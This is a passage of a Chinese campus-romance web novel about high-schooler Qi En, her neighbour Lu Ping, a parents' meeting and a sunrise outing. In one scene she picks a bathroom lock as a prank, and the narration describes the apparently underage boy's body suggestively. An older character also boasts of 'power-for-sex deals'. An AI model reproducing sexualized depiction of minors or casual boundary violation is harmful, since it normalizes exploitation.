“你还需要我娱乐?”齐恩被他推着往餐桌边去,“你自己搁那儿一杵,就老有节目了。”
“我老了就有节目了。”齐致说,“筷子拿反了啊闺女,眼睛不好使的话,你把筷子尖往你鼻孔里插一下,要是插得进去,就是没拿反,插不进去就是拿反了,你鼻孔小遗传我。”
“哎呀,我去你!”齐恩笑得不行了,“那我插自己鼻孔干嘛,□□鼻孔不就得了吗?”
这回换齐致笑了。
齐恩夹了一筷子红烧鱼,还是老味道,先炸后烧的鱼火候刚刚好,外皮焦脆,肉质鲜嫩。
“三个月就等着吃这一口。”齐恩搓了搓脸,“能不能把齐同志带到我们学校食堂啊?”
“行啊,今年响应号召,下到基层呗,反正都是为人民服务。四十五正是闯的年纪。”
“喔唷!你可千万不能在别人面前说这话。”齐恩停筷,“你算年轻的,又升得太快。”
“你还教上我了?”齐致笑了,给她舀了两勺鸡蛋羹,“快吃,听你的话加了瘦肉沫。”
“本来就是,我没说错。”齐恩给他讲道理,“人贵在一个低调,我们学校主任教我的。”
说到学校,齐致问她适应得怎么样。亲爹不是外人,齐恩实话实说,那一堆醪糟事儿都翻了一遍。齐致一边喝汤一边听,女儿像爹,做事周全缜密,这点都不用人教,他也很满意。
“你说你,偏偏就随了我。”
“你就往自己脸上贴金吧。”
“哦对了,咱们学校下周要办一个家长会。”齐恩顿了顿,“我本来是想让你去的……”
有时这一遭身份并不是光环,而是交友中的枷锁。
齐致不想齐恩在最该交朋友的年龄有过多的顾虑。
“但是我闺女的家长会,没人去也不合适。”
“让赵叔叔去呗,他不也算我半个家长么?”
“人家新官上任三把火呢,哪有空管你那闲事。让叶秘书去吧,正好明天送你回榕城。”
“瞎搞!叶秘书那么年轻,还没成家呢!”
“人家跟着我也不久,我不吩咐,以为我端架子,也得让他办点事。”齐致在生活上确实不需要什么秘书,因此让叶瑞林做的事也不多。
“考察他是吧?”齐恩想了想。
“他今天接待我挺周全的。”
“哟,在你这儿下功夫了,给他美言了。”
“实话实说好吧!”齐恩扒了两口饭。
“多吃点,吃完随领导安排我今晚的活动。”
齐恩提议道:“那你跟我去滑冰吧,之前老说要我教你,结果你到现在连平地滑都不会。”
“可别,我这一把老骨头,还没退休呢,要是哪里是磕了碰了,医保报销都只能报六成。”
“我去你!”齐恩急眼了,“你说了任我安排的!而且谁刚才说四十岁正是闯的年纪?”
齐致哪里敢拂女儿的面子:“行行行,我去,我去。先说好,你这回牵着我不能撒手啊。”
“我撒手就让小猫咬屁股蛋子。”
“闺女,你上回也这么说的。”
“……”
周一的家长会上,叶瑞林特意换了身撑场面的黑色正装,又把有度数的细框眼镜摘下来了,这么一看还真像齐恩的哥哥。其实在工作中,反而鲜少有需要打扮得这么正式的时候。
一进十七班,叶瑞林就看到正在和同桌聊天的齐恩,他搬了把凳子坐领导家女儿的旁边。
“穿这么正式,很帅哦。”齐恩不吝对他的称赞,“待会儿让我拍一张,给我爹也看看。”
“千万别。你别打趣我了。”叶瑞林很腼腆。
高玟回头,眼睛一亮:“啊呀!这是你哥吗齐恩?你怎么从来没说过还有个这么帅的哥!”
高玟妈妈就坐在齐恩的左手边,闻言拍了高玟一下,又对叶瑞林笑笑:“这孩子就这样,口无遮拦惯了,你是齐恩哥哥?亲哥还是表哥?表哥啊,今年多大?二十六?这么年轻呐?”
袁礼米家也是妈妈来,她妈是秀秀气气的中年女人,看得出上了年纪,但打扮十分得体。
齐恩先前和袁妈妈聊过两句,袁妈妈就是说话慢吞吞的,像树懒,这倒是和袁礼米一样的。
高玟妈很健谈,看叶瑞林一表人才,又问他在哪里高就,有没有对象。职务么,叶瑞林当然不
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便透露,好在找过了托辞,应答不出差错。
家长们
偷偷溜到高二一班的后门,往里面看,并没有看到卢俜的家长,就连卢俜的人影也没有。奇怪,哪儿去了。齐恩正打算再仔细瞧,肩膀被轻微而克制的力度点了一下。
齐恩回头,看到了卢俜。
“原来你不在里面啊。”
卢俜示意手里的一沓回执单:“柯老师还要再讲半小时,让我先去把回执单交给温主任。”
“我陪你。”齐恩抬脚跟上了他。
“你妈妈没来开你的家长会啊?”
卢俜垂下眼睫:“……没有。”
齐恩张了张口,随即很爽朗地大笑,拍了拍他的后背:“好事!柯女王想批你都批不了!”
“她没有批过我。”事实上,卢俜从没挨过老师的批评。谁会对一个三好学生不假辞色。
齐恩抠了抠下巴,好在卢俜也看出她安慰的意图,他扯开话题:”你们班家长会结束了?”
“是啊。”齐恩跟他说家长会上发生的趣事。温主任不在办公室,是别的老师在收回执单。
两人出了办公室,齐恩摸着肚子:“好饿啊,要不你把家长会给翘了,我们去吃拉面吧。”
卢俜竟然认真考虑了可行性:“我要清书包,还是得回班一趟,而且会被老师发现的。”
“哦对,你好歹是个班长。”
卢俜以不大的幅度颔首。
“诶,有了!你来我们班待会儿!”
卢俜迟疑道:“那样不太好吧。”
“怕什么,我们班的人都走光了。”
卢俜不愿和她在走廊上拉拉扯扯。
“好吧,就一会儿。”
他选择了妥协。
谁知齐恩突然笑得花枝乱颤。
卢俜并不清楚她在笑什么。
两人进了十七班的班门,班上空无一人。
齐恩背过身把门关上,仍然止不住笑。
卢俜终于开口问:“你到底在笑什么?”
齐恩朝卢俜勾了勾手,让他凑过去听。
卢俜不解地俯身,齐恩凑近了些,悄声同他说话,气息是香扑扑热乎乎的。“没人的时候,就可以。”她咬耳朵,“你是这个意思?”
卢俜心想自己绝对不是这个意思。
齐恩却藏掖着坏心眼,不依不饶。
“卢俜,你有没有感觉……”
她眨了眨美丽动人的眼。
“我们像在偷情?”
有意思吗
偷情。
卢俜的脑子嗡嗡地响。
“……别再拿我寻乐子了。齐恩。”
他抬起手臂,掩盖住通红的鼻尖。
卢俜很少当面叫齐恩的名字。
还是如此郑重其事的警告。
齐恩也意识到自己的行为过火了。
“好啦好啦,知道啦,不和你开玩笑啦。其实我是有一个小忙要你帮。”她正色,又把不知所措的卢俜摁在讲台前排的座位上,“你先坐在这儿,等我一会儿,我要去准备准备。”
“……可是我没有答应要帮你。”
卢俜小声说,还是乖乖坐住。
齐恩离开了,留卢俜一个人在空旷的教室里。指关节敲打桌面,他忐忑而不失好奇地等待。
齐恩没有让他等太久,她很快又进来了。
但是变了个样儿,长发盘起,穿着正装。
最重要的是,她一手抱着教案,一手堪堪插在侧腰,不时缕一缕耳边碎发,或者推一推鼻梁上的红方框眼镜……红眼镜,卢俜察觉到齐恩扮演的角色是谁———一班的班主任,柯俐。
原因无他,那尖酸刻薄的神态简直太像了。
“安静啊,都安静。”她扭着腰肢走进班,“啪”地一声把教案拍在黑板上,撑着讲台。
“今天谁做的值日?黑板黑板不擦,粉笔盒粉笔盒不清,别的老师来我们班怎么想?!”
卢俜紧紧抿住唇。
他在尽力忍笑。
齐恩却已经踱步到黑板前,抱着臂,圆规一样叉着脚站立。她端详着黑板上没来得及擦的“十七班家长会”,又抬手拿起黑板擦,先在托盘上轻蹭两下。这确实是柯俐的标准动作。
卢俜惊讶于她对种种细节的刻画。
就好像她曾在一班的教室里听课。
齐恩擦掉“十七班”的字样。
她写上了“卢俜”两个字。
“卢俜家长会。”她还无意识地重复了一遍,柯俐有时候是会碎碎念,重复以加深印象。
但是以他命名的家长会是什么意思?齐恩下一秒就解释:“专门为卢俜同学开的家长会。”
“顾名思义,这个家长会只有卢俜参加。”
齐恩婀娜地走到卢俜身边,微微欠下身。
“卢俜同学~”她完全演出了柯俐的谄媚,“你的家长呢,怎么没有来?是堵车了吗?”
卢俜还不知道如何作答,齐恩竟然一屁股挤走了他,自己坐在座位上。“老师。”她垂下眼睫,抿了抿唇,冷淡地道,“我妈妈有事。”
齐恩怎么连他都演。
卢俜脸上浮现红云。
“再怎么忙也不能把孩子的家长会忘掉啊。”齐恩义愤填膺,“卢俜同学,你可是我们班的表率,是全年级最优秀的孩子!你妈妈怎么可以不来?我看要严重处分你妈妈才行!”
处分梗,这个卢俜倒是听懂了。
柯俐动不动就拿处分威胁学生。
齐恩又坐回去,整个人靠着椅背上,明明没有受到外力,却仿佛被什么东西压弯了肩背。
她深深地吸了一口气,声音却变得很轻浅。
“她只是……不在乎我。”
卢俜藏在镜片下的瞳孔缩了缩。
只是下一秒,事情又有新的转机,齐恩径直夺门而出,又夺门而入,“卢俜!妈妈来了!”她大步走过来,这次是在卢俜身边坐下了。
“卢俜妈妈,你平时不关注孩子的成绩也就算了,这都高三的关键时候了,怎么还这样?”
“抱歉啊,柯老师,我最近确实工作比较忙。卢俜这孩子学习好,平时也省心,我就……”
“省心是一回事!关心又是一回事!你有关注过孩子的心理健康吗?你知不知道,你家孩子每天不是读书就是做题,没有一点交友的空间,哦!最近他倒是和一个坏学生混迹上了!就十七班那个齐恩!一看她学习成绩就不好,年级里吊车尾的,什么坏事都有她参与……”
卢俜突然开口:“……不是的。”
齐恩被打断,意外地挑了挑眉。
“你不是坏学生,别那么说。”卢俜的手捏紧桌沿,“而且……我妈妈也不是那种性格。”
“那你妈妈是什么样的性格。”齐恩于是终止了表演,掉转椅子的方向,和他面对面沟通。
卢俜自己形容不出来。
“反正不是你演的那样。”
“好吧,因为我没有接触过她。”齐恩无奈地耸肩,“对我来说,这个人是陌生的,只存在于你的只言片语,你形容的越少,我对她了解越少。了解不够的角色,我演绎不出来啊。”
“你演得很好了。”卢俜发自真心。
“真的假的哟,你可别恭维我啊。”
“不是恭维。”卢俜想了想又问,“你是不是听过柯俐的课?还是只听了别人说的就……”
“我又不是尖子班的,哪有幸听过她的课?”齐恩摆摆手,“都是别人说,我照着想象。”
“即使天天上她的课,我也演不出来。”卢俜不得不承认,“你在表演上确实很有天赋。”
“你把我夸美了。”齐恩趴在桌上,抬起明亮澄澈的眼问他,“怎
么样,卢俜家长会?”
“……你的眼镜是哪里来的?”
“喂!别试图转移话题啊!”
卢俜只好如实回答:“……还可以吧。”
“哈?我都这么卖力了,居然只是还可以?”齐恩破防了:“处分!我要让柯俐处分你!”
卢俜笑了起来,确实,他这回没能忍住。
齐恩歪着头,欣赏着他那难得的笑容。
“你笑起来很甜啊,你有笑弧,你知道吗?”齐恩求他,“卢甜甜,你能不能再笑一个?”
卢俜脸色倏然沉下:“……别那么喊我。”
“嚯,变成噜脸小猫了。”齐恩瘪了瘪嘴。
又一次下课铃声响起。
一班的家长会也结束了。
卢俜说:“我先回班收拾书包,等我一下。”
“好,那我在你们班那一侧的楼梯口等你。”
卢俜把黑板上那啼笑皆非的“卢俜家长会”擦掉才转身离开。齐恩在自己的座位上清书包,周末要用的复习资料带上,课外书也带上。书包鼓鼓囊囊,单肩背着,校服外套系在腰上。
她慢悠悠往一班走,走廊没什么人,阳光透过天窗照进来。皮肤上的冷气还未散尽,被属于室外的热浪再洗一遍。脚边有光构成金格,空气里散漫的尘埃,齐恩单脚跳进想象的冰场。
是夏天的感觉,
此时此刻,周诠拖着疲惫的步伐,走出弟弟的教室,他刚刚听完了一场冗杂无趣的家长会。
下一秒,就看到不可思议的一幕。
走廊的另一端,肤色白皙、发尾漆黑的精灵在旋跃。阳光也偏爱貌美的人,在她高挺的鼻梁染几粒金斑,在她如湖的眼底洒一串虹彩。
在无端躁动的余热里。
美得不可方物。
周诠不舍得移开目光半分。
直到精灵也察觉他的注视。
“周诠?你怎么在这儿?”
“给我弟弟开家长会……”
话音刚落,周第从他身后探脑袋,指着齐恩。
“哥,这就是前段时间欺负我的那个女生!”
一时间,三个人都陷入了沉默。
“原来是这么回事。”周诠抢白,“我明白了,是周第不对,我代替他给你赔个不是。”
周第分外不解:“哥你刚才还说……”
周诠重咳一声打断他:“没有的事。”
齐恩了然,周第这是搬救兵砸了自己的脚。虽然是亲哥,可周诠这次没有向着他的意思。
“世界还真小。”齐恩也不禁感叹。
“是啊,当时周第跟我告状,说有个女生欺负他。”周诠说,“我说让他欺负回去啊,总是来找我干嘛,他说人家长得略有姿色,他不好意思,我就没放在心上,没想到居然是你。”
“哥!这个就别往外说了!”
周第急头白脸去捂他的嘴。
“诶,我必须要澄清啊。”齐恩蹙眉,“两件事,一我没欺负你弟,二我不是略有姿色。”
“我是天人之姿。”
周第:“……”
周诠:“总之我弟就是这样,平时也不给我们省心,在学校里乱惹事。你别和他一般计较,这样,我们还是交换个联系方式,下次他再犯浑,你直接给我发消息,我来学校治他。”
齐恩喜笑颜开,掏出手机:“这感情好啊。”
周第气亲哥把他卖了:“哥你不能这样!!”
交换了联系方式,这真是意外之喜,周诠又和齐恩寒暄几句,看了一眼腕间的理查德米勒:“现在时间也不早了,我订了餐厅,赏脸吃个晚饭吧?就当我和周第一块儿给你赔罪。”
“不了。”齐恩看向班门口,“我等人呢。”
“你朋友啊?”他心想,应该不是男朋友吧。
“我邻居。”齐恩大方地朝卢俜招手,“这边!等你好久了都,清个书包清了半辈子!”
“被班主任留下谈了一会儿话。”卢俜解释。
“理解。”齐恩说,“那我们走啦,回见。”
“回见,周第,还不跟人同学说再见?”
周第不情不愿照做,到车上才彻底撂了脸子。
“哥!你对那个齐恩那么客气干什么?!”
“她是飞燕师妹,再怎么也要做表面功夫。”
“你那是表面功夫?”周第对周诠何尝不了解,看他尚存荡漾之色,毫不客气地拆穿。
“你就是看人家好看吧?你这个死颜狗,看见美女就走不动道,都有郑姐姐了,还这样!”
周诠见他不语,又起疑心:“该不会……”
周诠笑意隐晦。
他反应过来,整张脸红成猪肝色:“哥,人家可和你差了四岁,是我的同学啊!你……”
“四岁又不多。”周诠打方向盘,点了一根烟,“都是一个圈子的人,其实也挺方便。”
“哥!”周第不可置信,“你在北京上大学到底上了个啥回来啊,难怪爹说你搞了邪了!”
“有时候你替人家操心,人家巴不得呢,也不看看我们的家世。”周诠点烟灰,“你还小,有些事和你说了也不懂,以后出社会看看就知道了。像我们
这种人,权色交易总是有的。”
齐恩确实很美,周第承认,可他也没想过那种事,这不就是老师上课说的“物化女性”吗?
“那……难道你和郑姐姐也是交易吗?”周第问,“我一直以为,你们以后是要结婚的。”
“爸有给我安排正经的结婚对象。”周诠淡淡地道,“在这之前,多玩个几年再说吧。”
.
齐恩和卢俜在街区的老拉面馆里填饱肚子。齐恩点了一份猪骨拉面和两盘炸物,卢俜只点了冷面,他现在对齐恩的饭量也有所了解,点的多,吃的少,往往战斗欲望高,战斗力不足。
果然,齐恩吃了半碗拉面,炸物每串咬了两口,就摆手说吃不下了。卢俜无奈放下筷子,齐恩连忙把自己吃剩下的炸串推到他面前:“你还在长身体,多吃点,吃饱了好做题。”
“……吃不下就别点那么多。”
齐恩说非也非也:“我给你讲个故事,女孩和男孩是好朋友,男孩家里特穷,在学校里只吃得起汤泡饭,女孩每次就买一份饭,打很多很多菜,最后推到男孩面前说自己吃不下了。”
卢俜心平气和:“你是那个意思吗?”
“不是。”齐恩摆手,“我就是爱点。”
“……”
两人吃完往家里走。齐恩最近忙着拍摄广告,都没怎么学,两次周考遗留了许多陈年老题,时间紧、任务重,她干脆到卢俜家熬夜赶工。
讲了一张卷子,花了将近三个小时。
齐恩烧的是脑,卢俜烧的是喉咙。
两人占据了茶几的两端,齐恩订正完错题本,看到卢俜埋头写题,于是决定不打扰他了。
拿出政治必刷题,齐恩按照往常的节奏了两
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套卷子,还是先做选择后做主观题的顺序。题目有点难,一套错了三道,另一套错了两道,但也查漏补缺了不少。时间不知不觉到了凌晨。
“你还不困吗?”齐恩咬着笔杆子问。
卢俜摘下了眼镜:“……我还好。”
齐恩很好奇他的厚框眼镜,顺手拿过,戴上:“你这镜片怎么没度数啊?纯装逼用的?”
“你别戴。”卢俜伸手去拿,“防蓝光的。”
“这有什么,让我戴一下嘛。”齐恩闪躲着,又瞬间严肃了脸色,“卢俜,请你自重!”
齐恩在扮演他,城市便捷酒店那夜的台词。
卢俜更不淡定了:“还给我……你别闹了。”
齐恩却坏心一笑,故意把脸凑过去:“好啊。你来摘啊,快点儿,不是说要我还你吗?”
卢俜踌躇片刻,不敢上手,只能干着急。
他现在也清楚了齐恩的性子,有些事儿,你就不能和她唱反调,你越气她越乐呵,最扫兴的办法就是装不在乎。他干脆不要眼镜了,她爱戴就戴着吧,待会儿觉得没意思就摘下了。
卢俜说了声“随便你”,就坐回去刷自己的题。齐恩果然切了一声,却没有摘下眼镜。
这么一闹,倒是提了神,齐恩就着学神的眼镜加持,写了几页英语阅读,果然大有效果。
论熬夜,卢俜当然不是齐恩的对手,她越写越精神,他却困倦反复。意识到再学下去效率也不高,他停下了笔,委婉地说:“时候也不早了,明天再来学吧。”意思是自己要睡觉了。
齐恩以胜利者的姿态:“你熬不住啦?”
“……不太行。”卢俜揉了揉眼框。
齐恩“啧”了一声:“你是一个男人啊,男人怎么能随便说不行呢?有点尊严好不好?”
卢俜对她的话选择性理解,又说自己生物钟就是那样,不习惯熬夜晚睡,也不习惯赖床。
“诶,你有没有见过凌晨四五点的榕城?”
“没有。”卢俜顿了顿,“你该不会……”
“没错儿!”齐恩兴致勃勃。
“我们一起去看日出吧!”
“……你疯了?”
“什么疯了,这叫鲜衣怒马少年时,不负韶华行且知!”齐恩慷慨陈词,“读万卷书行万里路,你都读了一百万卷了,偶尔也要看看这个世界吧!一天到晚在家里,会被憋死的!”
“也没必要四五点……”
“打住!我问你有过人的体温吗?有过心跳吗?闻过花香吗?看得出天空的颜色吗?你流过眼泪吗?世上有人爱你情愿为你去死吗?”
卢俜竟被她弄得无措:“……没有。”
“那还等什么,就在今天,就在脚下!”
真是,卢俜心想,鬼话连篇。
但他并不想拂了她的好兴致。
“好吧,如果你执意要这样的话。”卢俜说,“我去洗个澡精神一下,应该能还熬。”
“好耶!”齐恩跳了起来,眼镜从鼻尖滑落,要掉到沙发上,又被卢俜中途接住。
他莫名松了口气。
卢俜去洗澡,齐恩怕他待会儿还犯困,回家取了两罐冰咖啡。再到卢俜家时,他还没洗完。
齐恩一边刷视频一边喝咖啡,听着浴室哗啦啦的水声喝了半罐子,突然想起城市便捷那次。
“喂,卢俜。”她朝卫生间喊,“你还敢当着我的面洗澡?你就不怕我进来把你看光?”
“……别搞!”卢俜在里面呵斥。
“你猜我搞不搞?”齐恩语气玩味。
卢俜有些慌乱:“齐恩……你别没完了!”
齐恩说我不搞,我不搞,手却悄悄握住门把。
“芝麻开门!!!”
她大力拧动把手。
下一刻,齐恩的笑容僵住。
“哼,你搞也没用,难道我不知道锁门吗?”
难得的,他这种内敛的人把得意摆在明面上。
这还是头一次,齐恩没能如愿地捉弄卢俜。
她冷哂:“你还真是吃一堑、长一智啊。”
“承让。”卢俜终于守住了身子。
“哦?是吗?”齐恩眯了眯眼。
卢俜见外面许久没了动静,这才放下心来。
他惬意地洗了个澡,终于不用防贼一样防着。
只是,就在穿衣时,再次听见那轻佻的声线。
“卢俜,你信不信我会开锁?”
骗鬼呢,卢俜当然不信。
“我真的会。”齐恩悠哉悠哉的,“信我。”
“行。”卢俜冷笑,“你开一个给我看看。”
齐恩等的就是他这一句。
话音未落,门锁被卸下。
芝麻。
开门。
“硬币锁,直接秒了!”齐恩大笑着破门而入,“哈哈哈,服不服?就问你服不服?!”
撞入眼帘的是惊慌失措的卢俜。他只围了一条短短的男士浴巾,上到小腹部,下到大腿根。最关键的被遮起来,透过浴巾能看出鼓胀起的幅度,看不到太多,齐恩的视线只能往上移。
必须得承认,瘦也有瘦的好处,起码卢俜这样就瘦得刚刚好。身长骨架宽,不显孱弱,反而是薄而劲的肌肉,腰部的线条也是细致流畅。这样其实也不错,穿衣显瘦,脱衣不显索然,既有少年人的清爽,也有成年人的……涩气。
卢俜还处于宕机状态,木讷地抬起了头。只是几秒钟,他的脸颊已经红得能滴血,湿漉漉的卷发耷在额前,青涩又可怜,像淋湿的小猫。
“你……”他屈辱地切着齿。
齐恩还不觉事大,失望至极地叹息了一声:“怎么啊,还以为是□□版的,没意思。”
人家围得很严实,说到底还是防住了,齐恩有点挫败,早知道刚才趁着水声没停就进来了,她兀自嘀咕了两句“没意思”,就要退出去。
卢俜大步上前,脸色极端阴沉,按住她肩膀。
“那什么有意思?”他说,“这样欺负我。”
“……你觉得有意思吗?”
少男法则
雾气还未散去,卢俜的身上蒸腾出丝丝热量。他从身后遏制住她,却觉得自己才是被拿捏的那一个。齐恩,即使她只是伫立在那儿,单单一个笑容,或干脆就面无表情,都游刃有余。
都像是在为难他。
为什么要这样?
“为什么总是这样?”卢俜把手扣在她的肩膀上,使她正对着他。他本来想表现出生气,可额前的发尾沁出了水珠,顺着浅褐的下眼睫,划过气得愠红的眼尾,流到颧骨,再是脸颊,再是明显的下颚和锁骨间。这样让他看起来莫名委屈,卢俜没有哭,只是心存许多疑惑。
“总是什么?”齐恩同他对视。
“……欺负我。”卢俜在重复。
齐恩盯着他的脸,她没有害羞的时候,反而是他被盯得气势渐弱。卢俜还不想那么快就放弃警告的意图,他缓缓逼近她,以为压迫她就能让她长教训。他只是不想她弄得太过火了。
可齐恩就是齐恩。
“就欺负你。”她顽劣地笑。
“就欺负你,我就欺负你。”
“那为什么?”卢俜蹙眉,既不理解,也觉得没必要,“欺负一个人,就那么有意思吗?”
“因为是你,所以有意思。”齐恩笑得唇红齿白,“我喜欢看你生气,你生气给我看看?”
“……我不是真的没脾气。”卢俜说。
“我知道啊,那你对我发一发呗。”
“……”卢俜最终还是缓缓松开她。
他心底生出挫败、茫然、无可奈何。
诸多的情感在狭窄的地带徘徊。
像一条没有彼端的险路。
四周都是迷雾,卢俜不敢往前。
却又苦于没有理由退后。
“……我去穿衣服。”他干脆绕开她,往外面走去。卧室,客厅,随便什么地方,只要没有齐恩在,他就能冷静下来,重拾那份使他安心的理性。卢俜关上房门,找出一件短袖穿上。
在书桌前坐了一会儿,他又走出去。这回已经和以往任何一次被她捉弄完一样。齐恩还是朝他施以善意,把冰咖啡递给他。生气了吗生气了吗?齐恩问,卢俜接过咖啡罐,回答没有。
只有卢俜自己的内心深处知道。
发生了某些无可挽回的变化。
齐恩把剩下的半罐咖啡喝完,就认真地扑回题海里。她还是那样,捉弄完别人,自己却可以很快就做到若无其事。卢俜的脑海里不断回闪着方才浴室里发生的事,她说,她就欺负他。
她为什么就欺负他?
他还是没得到答案。
卢俜也写题,写题总比思考这种难题简单。也不知道过去了多久,齐恩敲了敲他的桌面。
“四点钟了。”她说,“走吧,去看日出。”
卢俜说好,摘下了眼镜,精神都有些恍惚。
咖啡因支撑起疲惫的灵魂,卢俜起身穿袜子,问要去哪里看日出。“我知道一个好地方。”齐恩十分有把握,“你跟着我来就是了。”
他们出了小区,外面还是黑的。凌晨四点的榕城,卢俜确实见识到了。像来到城市的背面,黑夜是人们休憩的季节,即使街面上有燥热的风扫荡着,但也显得冷清;路灯是黄澄澄的,和整座钢筋水泥的巨物共同休憩,老街区的供电使它时明时暗,却也像动物浅眠时的呼吸。
“怎么样?”齐恩张开双臂,倒着走。
卢俜四顾:“……我以为街上没人。”
聚民街区是人口密度很大的地方。
闹市区,地租低廉,又在市中心。
时间是凌晨四点五十,菜市场已经挤满了人。街道太逼仄,一辆货车就填满了单行车道。
轰隆隆的引擎声很聒噪。
“喏,都是摊贩们在进货。”齐恩抬抬下巴,“有一次路过,还过去帮摊主搭了把手。”
周围太嘈杂,指挥卸货的中年人在怒喝。卢俜只能稍微靠近了些:“你经常这个点出来?”
“没退役的时候,心情不好的时候。”
齐恩跨越过一条小股流淌的污水带。
“……为什么心情不好?”
“心情不好就是心情不好啊。”齐恩理所当然,“你放心,我没有要倒垃圾的企图。有的人说心情不好,可能是抱怨,希望能找到倾诉的人,或者就希望得到面前这个人的安慰。”
“我不是那意思,心情不好就是心情不好。”她举例子,“有时候体重上涨了心情不好,有时候考差了心情不好,耳机掉了也心情不好,偶尔看到网上对我的恶评,心情就会变差。”
都是琐碎的小事。
卢俜不能够共情。
卢俜不是容易感伤的人,即使有时候遭遇突如其来的变故,也许是好事,也许是坏事,他也能以解决为目的行进下去。结果比过程重要,卢俜是相信这句话的人,他看的也只有这个。
“看日出,就能缓解心情?”
“其实是享受那种氛围。”
“看到很多和自己一样的生命在活动,人就会觉得宽慰,觉得天塌下来不过是一时的,世界不会因为你陷入低谷而停止运行。这种时候就有心力想深奥的问题,然后告诉自己答案。”
“多接触他人的世界,以缓解独我的情绪?”
“就是这样。”齐恩颔首,“看到天没亮就在劳作的人,好像自己也过了一遍那样的人生。诶,你有没有听过一句话,当你觉得生活很累,请去凌晨四点的菜市场和急诊室看看?”
卢俜听过,心灵鸡汤而已,他没有被触动。
“我讨厌这句话。”齐恩强调,“非常。”
“我讨厌的不是这样的行为,而是说这句话的人想表达的意图———中式苦难教育,比慘。就好像在大街上看到扫地工人,妈妈和孩子说你不努力以及会变成那样,或者说你看他们那么辛苦劳作才能活下去,我们要更努力才对。”
他们边走边聊,走过几条小巷,齐恩把他带到一栋陌生的居民楼,这里似乎和其他的建筑没什么不同,卢俜不明白。坐电梯往上时,齐恩靠着墙说,你待会儿看到了,保准会佩服我。
到了最高的楼层,齐恩再沿着落满灰尘的楼道往上走,越过一些杂物和纸盒,到了天台。
“你看。”齐恩示意他。
“世界都在我们脚下。”
这里是周遭最高的建筑,当然,在逼仄到只有一线天的街道里不会发现的。真奇怪,最高的建筑原来止步于此了,千家万户都尽纳眼底。
太阳在升起,天缓缓地亮了。温柔的,不带有恶意的,光线也不刺伤人的眼球。齐恩在栏杆边靠住,姿态很惬意,微风吹拂耳畔的发丝。
绚烂的日霞像一幅油画展开。
齐恩像艺术里闪烁的群星。
她的美,在没有瑕疵的脸蛋上,在一呼一吸、一颦一笑之间。卢俜以为她给人以美的观感,是因为具备了优越的外貌和气质,现在看来,完全不是那样,她纯粹的,以灵魂给人美妙。
“很快,街上就有更多的人出来,学生们背着书包,在父母的催促下走出家门;上班族继续日复一日的生活,做什么都显得熟稔;也有人这个点才下班,拎着名为早餐实为夜宵的食物回家……即便在同一条街道,也有完全不同的个体,相互独立着生活,从而组成了群体。”
“我在努力,同时也有这样的人在世界上。”齐恩把下巴搁在臂弯里,“想想都觉得很美好,不是吗?只要想到这个,就可以继续努力下去,练功、比赛、忍受力所能及的伤痛。”
“所以你要多开心一下,多笑。”齐恩突然把话题归到他身上,“一个人的时候,要做能让自己开心的事,而不是做别人要求你的事。”
卢俜不解:“……怎么就突然扯到我了?”
“很简单,因为你开心,我很有成就感。”
卢俜沉默了一会儿,一只手的手背搓着另只手的掌心,以此来缓解自己的紧张,他也不明白这股紧张是为何,所以他就直截了当地问了。
“为什么?我不是什么很重要的人。”
“那我为什么总想着逗你开心呢?”
“……你那是看我好玩、好逗而已。”
卢俜说出自己认为的实情。
齐恩忍不住大笑了起来。
天彻底亮了。又是新的一天,又是新的开始。两人从充满光明的楼道里折返回去,乘坐电梯下楼,正好遇到顶楼的女住户出门,似乎也很熟悉齐恩的存在,问了句“又过来看日出?”
“睡不着嘛。”齐恩笑了笑。
“这是你同学?还是男朋友?”
“邻居。
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”界定了二人的关系。
“唉,还是你们年轻人有精力,大夏天的还看日出呢,我起床都起不来。”女住户笑了笑,“走,一起下去呗,楼下有一家特别特别好吃的小笼包铺子,姐姐请你和你邻居一起吃。”
“好啊,谢谢姐姐。”齐恩嘴很甜。
卢俜怀疑就没有她打不来交道的人。
吃完早饭,卢俜已经过了犯困的点,他的生物钟就是这样,再疲倦也睡不着了。齐恩却哈欠连连,疲倦地往三楼走:“困死了,我要回去美美补觉,用我的大身体狠狠填满小被窝。”
糟糕的台词,卢俜扶了额。
“你呢,回去还睡的着吗?”
“应该不会了,可能中午睡一会儿午觉吧。”
不知不觉,卢俜跟着齐恩走到她家门口。
“怎么,还不回去,要来我家坐一坐?”
齐恩揶揄地侧身:“还是睡一睡?”
“……我回去了。”卢俜尴尬地转身离开。
齐恩就在身后,不用想也知道她在坏笑。
世界上怎么有这么坏的人。
.
周四上午两节地理课后,数学周考的成绩也热腾腾出炉。张其薪去拿大家的答题卡,齐恩想早点知道分数,就跟着他一起。一进办公室就看到刘彩和陈天师聊天,一老一少相当和谐。
“刘彩,又是你。”齐恩冷了脸,“都说了不要串班,不要串班!三次串班,四次有你。”
真稀奇,学生还教训起老师来了,刘彩却大度道:“我今天放你一马,你知不知道为啥?”
“是不是我考得好?”齐恩隐隐有几分期待。
“你自己也知道啊。”刘彩拎出她的卷子。
齐恩一看分数,喜笑颜开,一百零五分。
“第一次上百啊!”她毫不掩饰自己的嘚瑟,又兴冲冲地把答题卡展示给一旁的张其薪,“司长,怎么说?这才是真正的谋权篡位啊,你的全班数学第一说不定马上被我抢走了!”
刘彩说:“你玩儿呢,齐恩,别太飘了啊。”
陈天师引经道:“恰同学少年,风华正茂。”
“瞧瞧,人家陈天师是文化人,说话就是不一样!你好好沉淀吧!”齐恩对刘彩做个鬼脸,赶忙推着刚抱起卷子的张其薪出了办公室。
两人走后,德高望重的陈老师捻着胡须问:“刚才齐恩是不是喊了我什么……陈天师?”
刘彩干笑了两声。
此时,齐恩还沉浸在数学方面取得重大突破的喜悦中,抓着张其薪的肩哭喊:“司长,告诉俺娘袁礼米,俺不是孬种!俺考了一百分!”
张其薪嘴角噙着纵容的温笑,余光瞥见走廊那端的人。卢俜抱着一沓卷子,从容地走过来。
几乎是同一时间,卢俜也注意到两人,他隔着并未察觉的齐恩和张其薪对视,神色很淡漠。
卢俜这次周考的成绩,张其薪当然也关注了,一百四十七,又是全年级最高,张其薪比他低了七分。无论怎样,这都是意料之中的结果。
可某些方面他不会输给卢俜。
张其薪的眼底渐渐暗下去。
“不是说,要抢走我的位置吗?”张其薪接过齐恩手里的卷子,捲起,轻轻敲了敲她额头,突然凑近道,“那我就欢迎你随时来拿了。”
张其薪身上有苍兰洗发水的气息,柔冷温润,细拂过齐恩的耳廓。这是个过分亲密的举措,齐恩顿觉尴尬,干笑道:“别敲,容易傻。”
齐恩背对着,不知道卢俜擦着她的后背经过。张其薪把卷子递还给她,却持续着对卢俜恶意的打量。卢俜呢,像往常,一览无余的平静。
